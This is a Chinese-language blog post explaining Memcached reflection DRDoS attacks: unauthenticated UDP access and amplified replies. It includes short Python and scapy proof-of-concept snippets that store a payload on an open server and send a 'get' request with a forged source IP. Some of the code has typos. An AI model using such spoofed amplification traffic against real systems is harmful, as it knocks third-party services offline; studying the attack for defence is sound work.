关于Memcached反射型DRDoS攻击分析
一、Memcached反射攻击原理
1、反射DRDoS攻击:
DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击。DRDoS是反射性拒绝服务攻击,其原理是通过利用你的程序漏洞,发送畸形报文诱发你回复大数据量的报文,从而达到消耗资源,拒绝服务的目的。
2、为什么Memcached可以诱发DRDoS:
因为Memcached是一个缓存服务器,很多web站点用来存储缓存数据,以防止WEB服务器承担更多性能损耗。但是这样情况下,如果发送一个请求,回复大数据量的响应报文,则可以被诱发DRDoS,攻击手段就是重复变换源的发送请求报文即可。
3、以上还有两个前提:
(1)Memcached支持TCP和UDP,且其中UDP是不需要状态连接,和握手的。
(2)Memcached存在未授权访问的情况。
二、Memcached DRDoS的poc
1、攻击手法,
(1)访问可以控制的未授权的memcached,set设置键值
1 set abc 0 0 10 2 abc ->键名 3 0 -> flag 4 0 -> exptime 过期时间,0便是永不过期 5 10 -> 返回10Byte的数据,当然可以返回更多
python代码如下
1 # -*- coding:utf-8 -*- 2 3 import socket 4 5 target_host = "192.168.1.1" 6 target_port = 11211 7 client = sokcet.socket(socket.AF_INET,socket.STREAM) 8 client.settimeout(10) 9 client.connect((target_host,target_port)) 10 11 client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n") 12 data = client.recv(1024) 13 print data
(2)然后get这个abc即可
1 # -*- coding:utf-8 -*- 2 3 from scapy.all import * 4 5 data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n" 6 pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data 7 send(pkt ,inter=1,count=1)
博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:Mrli888@88.com